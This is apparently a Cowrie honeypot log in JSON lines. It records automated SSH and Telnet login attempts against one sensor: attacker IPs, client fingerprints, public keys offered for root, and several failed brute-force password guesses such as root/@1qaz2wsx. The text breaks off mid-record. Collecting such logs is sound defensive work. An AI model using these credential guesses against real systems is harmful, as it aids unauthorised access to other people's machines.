{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:e7:af:32:7a:cb:11:07:4b:35:88:5a:af:a8:10:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqNUD1uJyiv5h6OHxVpJGQnk7X/cumxSpEraBie7SJxJ+dB06Em2baERYsQqMb+z9/sIgHZqQFWAD1VVeC5ygFQMBCj+/t8jcxfppbzEeQ5ct3GxzvdUoVj1nmIg9tx52T/QTFL71+sX4S4AYhuPX9Se7XIB++1thgOyo9SpVLN31pGlfXO8Ztu5/O169Hv7R1iIjyQenAGytPiHVWVYecwvRiNxSYMc+JEuhSXGk0fFsJPoHyQRtHogg0K2d5LGBKaEZWKit9dBm3kWYepljweX2uzQfd11ZYzgOUokdwltsttHsqlekq/kBJN0a/LLD7dHiAaS2t9EmS9OuHWxET","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:09.701615Z","src_ip":"23.237.108.178","session":"19b51978ffaa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:1c:22:f5:7b:68:12:57:d4:3a:48:55:64:1e:66:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+lMjmLUoS9/K4C3ptXFhkJ/C5QOBOtZM5zw7VR1+2wD+gi5rCb1uQ5O8dD3RBn4bTpbvjFEOjWN5nKcV3Nrp+mS2s17DoXgfTaNLV968oyTtrSIFVwzYhWqfoqSKawQ2SfLPdVAXkNvIKiQlZBtbW4jk7VdRZe9F3sO304KKxoNfnx3Xm1m2brHEl6FL/bF2PROq6Vc79AInP9KYbHkd5g/evyDXnUZ4FMoe2CAd1ZzioQb6Ile3fOR9N32rL5n6Owu8tbd1gMQ5001BV1AvysUG9PfpKviEyQxxq4VxIrCV95S4KMcvrF4NjEEHiR08H0wW4RMdXnZwJTi21Oz6r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:1c:22:f5:7b:68:12:57:d4:3a:48:55:64:1e:66:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:09.773310Z","src_ip":"23.237.108.178","session":"19b51978ffaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:1c:22:f5:7b:68:12:57:d4:3a:48:55:64:1e:66:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+lMjmLUoS9/K4C3ptXFhkJ/C5QOBOtZM5zw7VR1+2wD+gi5rCb1uQ5O8dD3RBn4bTpbvjFEOjWN5nKcV3Nrp+mS2s17DoXgfTaNLV968oyTtrSIFVwzYhWqfoqSKawQ2SfLPdVAXkNvIKiQlZBtbW4jk7VdRZe9F3sO304KKxoNfnx3Xm1m2brHEl6FL/bF2PROq6Vc79AInP9KYbHkd5g/evyDXnUZ4FMoe2CAd1ZzioQb6Ile3fOR9N32rL5n6Owu8tbd1gMQ5001BV1AvysUG9PfpKviEyQxxq4VxIrCV95S4KMcvrF4NjEEHiR08H0wW4RMdXnZwJTi21Oz6r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:09.777126Z","src_ip":"23.237.108.178","session":"19b51978ffaa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:ac:48:65:c4:91:5d:4b:38:b2:16:31:7a:2e:5a:ef","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ95dijktM4dGgGVi88OgXJ10PzoAwsnov0CmV1PHefmHOfXjLd/1UxcossxlFlsstHwLKXgylpL5L6GEe7B1F9w1rJt43Jqp2yKcslTrRCjx1bgeaPh5WezbpZAR1gwinjjMLGz2aHPJL0fFUJu+Wds1wNiuzoV6SXzbVCsV9XXAAAAFQDlP2v66aF5phdtgE4Qf0Vj/zKt8QAAAIACYWlV6dSwR0XerHdMI1bEPamzy4RLZpRzQaOgtx0q82S6ow+6LWV2Ko1JtRyhs6LPy/gEEpGLEGgeQe3s3SPig34N+Q/6YNeL2YA/zUVYA3vvCC3POIMtDONjtUh73jXpXBaVMk7/QGW+fD/3w0NdMeB5fHkKMCyeV8T0gOmDGAAAAIAudwNS6gVw/4QRkhy/V81gvSIA5ykrDuE3n7qdd5CPkn43dPhpoS1fwUrX3vIcYOMtruh5kUxAoArxInWjrQaDwkPfyEQm33MsJw97X7i5/5otPLFSxvQS7ulU+7ISq++Y1lyk6584BNm+cJLautoxBOmF0y2c7J3hOt3Ap6CdZw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 78:ac:48:65:c4:91:5d:4b:38:b2:16:31:7a:2e:5a:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:09.847592Z","src_ip":"23.237.108.178","session":"19b51978ffaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:ac:48:65:c4:91:5d:4b:38:b2:16:31:7a:2e:5a:ef","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ95dijktM4dGgGVi88OgXJ10PzoAwsnov0CmV1PHefmHOfXjLd/1UxcossxlFlsstHwLKXgylpL5L6GEe7B1F9w1rJt43Jqp2yKcslTrRCjx1bgeaPh5WezbpZAR1gwinjjMLGz2aHPJL0fFUJu+Wds1wNiuzoV6SXzbVCsV9XXAAAAFQDlP2v66aF5phdtgE4Qf0Vj/zKt8QAAAIACYWlV6dSwR0XerHdMI1bEPamzy4RLZpRzQaOgtx0q82S6ow+6LWV2Ko1JtRyhs6LPy/gEEpGLEGgeQe3s3SPig34N+Q/6YNeL2YA/zUVYA3vvCC3POIMtDONjtUh73jXpXBaVMk7/QGW+fD/3w0NdMeB5fHkKMCyeV8T0gOmDGAAAAIAudwNS6gVw/4QRkhy/V81gvSIA5ykrDuE3n7qdd5CPkn43dPhpoS1fwUrX3vIcYOMtruh5kUxAoArxInWjrQaDwkPfyEQm33MsJw97X7i5/5otPLFSxvQS7ulU+7ISq++Y1lyk6584BNm+cJLautoxBOmF0y2c7J3hOt3Ap6CdZw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:09.851619Z","src_ip":"23.237.108.178","session":"19b51978ffaa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:a4:f9:2d:77:32:40:e9:63:53:45:67:32:5f:66:18","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPjIfGBsZuxkPt4XVw2niRdf02yFwcE+AaBxmHiwQe4il1AAmcBcFeJ/rZQGo6meJD7Yi9aVTyCMjUjlj6O93T+rGu/voRvTDuTfnCTfWi3xpvTSi9HOIB7e7+2JUbfeFctNIc+etgY70vb+gcwZ9eo14w1KnQbrKwSMLa4Yz9R5AAAAFQC+7bjariqEZw1h8S4a6yRA2tyckQAAAIBWX79YfM5LtTeKndCEtnM3K1iZAM71RacWrPxTkEbbytljO6Yq7CpXZ1DsjUEyDxMY2mukb98ufbs6t2Ezv+mQoI6EFTuZVt3QWx21Vvt/X5QjgrLbL0W7PpxE0R/smww9utlhvo1wryex5C6blIzUsCnasOWYLCG4AkuDJxSW+AAAAIBauQC79zX5r6Bo4rVWPc1MD40heas2x7G/WkpUcChC6gNsyHn8ZD0vhTf1oSLoB9NW+3Ul+oQygPhryKl0xSnNARRdwd7v6jZPNSIrmVcb/DSAtNZrprJTLAMdFEWQuoQRrj5s/6p1ZcpZuGBdahmgJZPHmXeEHa2/Pe5WW/pPkw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint a5:a4:f9:2d:77:32:40:e9:63:53:45:67:32:5f:66:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:09.918862Z","src_ip":"23.237.108.178","session":"19b51978ffaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:a4:f9:2d:77:32:40:e9:63:53:45:67:32:5f:66:18","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPjIfGBsZuxkPt4XVw2niRdf02yFwcE+AaBxmHiwQe4il1AAmcBcFeJ/rZQGo6meJD7Yi9aVTyCMjUjlj6O93T+rGu/voRvTDuTfnCTfWi3xpvTSi9HOIB7e7+2JUbfeFctNIc+etgY70vb+gcwZ9eo14w1KnQbrKwSMLa4Yz9R5AAAAFQC+7bjariqEZw1h8S4a6yRA2tyckQAAAIBWX79YfM5LtTeKndCEtnM3K1iZAM71RacWrPxTkEbbytljO6Yq7CpXZ1DsjUEyDxMY2mukb98ufbs6t2Ezv+mQoI6EFTuZVt3QWx21Vvt/X5QjgrLbL0W7PpxE0R/smww9utlhvo1wryex5C6blIzUsCnasOWYLCG4AkuDJxSW+AAAAIBauQC79zX5r6Bo4rVWPc1MD40heas2x7G/WkpUcChC6gNsyHn8ZD0vhTf1oSLoB9NW+3Ul+oQygPhryKl0xSnNARRdwd7v6jZPNSIrmVcb/DSAtNZrprJTLAMdFEWQuoQRrj5s/6p1ZcpZuGBdahmgJZPHmXeEHa2/Pe5WW/pPkw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:09.924930Z","src_ip":"23.237.108.178","session":"19b51978ffaa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:af:ee:a1:92:10:a1:78:12:a2:8b:4f:c9:0c:3d:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqdsNrWBH7J19OoOO6/uFJULvPgNxjNgSyI7a4dfnPzsLGaR/vME8F4CCGPtnWxLwXCf4sWBwHxSil9mMqlleC97SbbbRjcxOZ3fd6Jlmk0LnL+NpWvCAq5Z6pZNYVottPv3wEJhRJcBLATisT6N0mn5Sjvutq/80ju2skYElbSSdvDpWNrwPjCGxRuQ6n9sphxFPNjN1YC79kJgjMkbFldwcUPCPMPI3jxhnMYYeQK83ofnHM7cHb7WkUSoAuwPNqj0p/2RZKEHAgV6LvXL1oTgW1W3Nj8kwm4DAXuibjLFLFIVtF+O+SVsnT6zc/035xBzev9IFRVyOQDTox73Br","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:af:ee:a1:92:10:a1:78:12:a2:8b:4f:c9:0c:3d:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:10.003693Z","src_ip":"23.237.108.178","session":"19b51978ffaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:af:ee:a1:92:10:a1:78:12:a2:8b:4f:c9:0c:3d:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqdsNrWBH7J19OoOO6/uFJULvPgNxjNgSyI7a4dfnPzsLGaR/vME8F4CCGPtnWxLwXCf4sWBwHxSil9mMqlleC97SbbbRjcxOZ3fd6Jlmk0LnL+NpWvCAq5Z6pZNYVottPv3wEJhRJcBLATisT6N0mn5Sjvutq/80ju2skYElbSSdvDpWNrwPjCGxRuQ6n9sphxFPNjN1YC79kJgjMkbFldwcUPCPMPI3jxhnMYYeQK83ofnHM7cHb7WkUSoAuwPNqj0p/2RZKEHAgV6LvXL1oTgW1W3Nj8kwm4DAXuibjLFLFIVtF+O+SVsnT6zc/035xBzev9IFRVyOQDTox73Br","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:10.008039Z","src_ip":"23.237.108.178","session":"19b51978ffaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:10.081753Z","src_ip":"23.237.108.178","session":"19b51978ffaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":48060,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a7147ec2162","protocol":"telnet","message":"New connection: 103.153.183.192:48060 (10.17.0.5:23) [session: 6a7147ec2162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:31.855812Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":46602,"dst_ip":"10.17.0.5","dst_port":22,"session":"e29cc92cf07e","protocol":"ssh","message":"New connection: 87.106.44.172:46602 (10.17.0.5:22) [session: e29cc92cf07e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:45.450708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:45.505342Z","src_ip":"87.106.44.172","session":"e29cc92cf07e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:45.581099Z","src_ip":"87.106.44.172","session":"e29cc92cf07e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@1qaz2wsx","message":"login attempt [root/@1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:46.082723Z","src_ip":"87.106.44.172","session":"e29cc92cf07e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:47.165472Z","src_ip":"87.106.44.172","session":"e29cc92cf07e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":54718,"dst_ip":"10.17.0.5","dst_port":22,"session":"db669b79b276","protocol":"ssh","message":"New connection: 103.84.236.222:54718 (10.17.0.5:22) [session: db669b79b276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:47.555230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:47.559752Z","src_ip":"103.84.236.222","session":"db669b79b276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:47.792019Z","src_ip":"103.84.236.222","session":"db669b79b276","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf!@#$","message":"login attempt [root/asdf!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:48.753317Z","src_ip":"103.84.236.222","session":"db669b79b276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:49.988728Z","src_ip":"103.84.236.222","session":"db669b79b276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":52748,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffa38dee1a31","protocol":"ssh","message":"New connection: 202.145.0.61:52748 (10.17.0.5:22) [session: ffa38dee1a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:01.343266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:01.348834Z","src_ip":"202.145.0.61","session":"ffa38dee1a31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:01.589709Z","src_ip":"202.145.0.61","session":"ffa38dee1a31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test321","message":"login attempt [testuser/test321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:02.584948Z","src_ip":"202.145.0.61","session":"ffa38dee1a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:03.829892Z","src_ip":"202.145.0.61","session":"ffa38dee1a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.041237115859985,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:04.896927Z","src_ip":"103.153.183.192","session":"6a7147ec2162","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":55828,"dst_ip":"10.17.0.5","dst_port":22,"session":"434f73305afd","protocol":"ssh","message":"New connection: 103.15.226.202:55828 (10.17.0.5:22) [session: 434f73305afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:21.641231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:21.646809Z","src_ip":"103.15.226.202","session":"434f73305afd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:21.896951Z","src_ip":"103.15.226.202","session":"434f73305afd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"infra911","password":"infra911pw","message":"login attempt [infra911/infra911pw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:22.634670Z","src_ip":"103.15.226.202","session":"434f73305afd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:23.886904Z","src_ip":"103.15.226.202","session":"434f73305afd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":37172,"dst_ip":"10.17.0.5","dst_port":22,"session":"1876891bbbe5","protocol":"ssh","message":"New connection: 87.106.44.172:37172 (10.17.0.5:22) [session: 1876891bbbe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:41.881086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:42:41.970954Z","src_ip":"87.106.44.172","session":"1876891bbbe5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-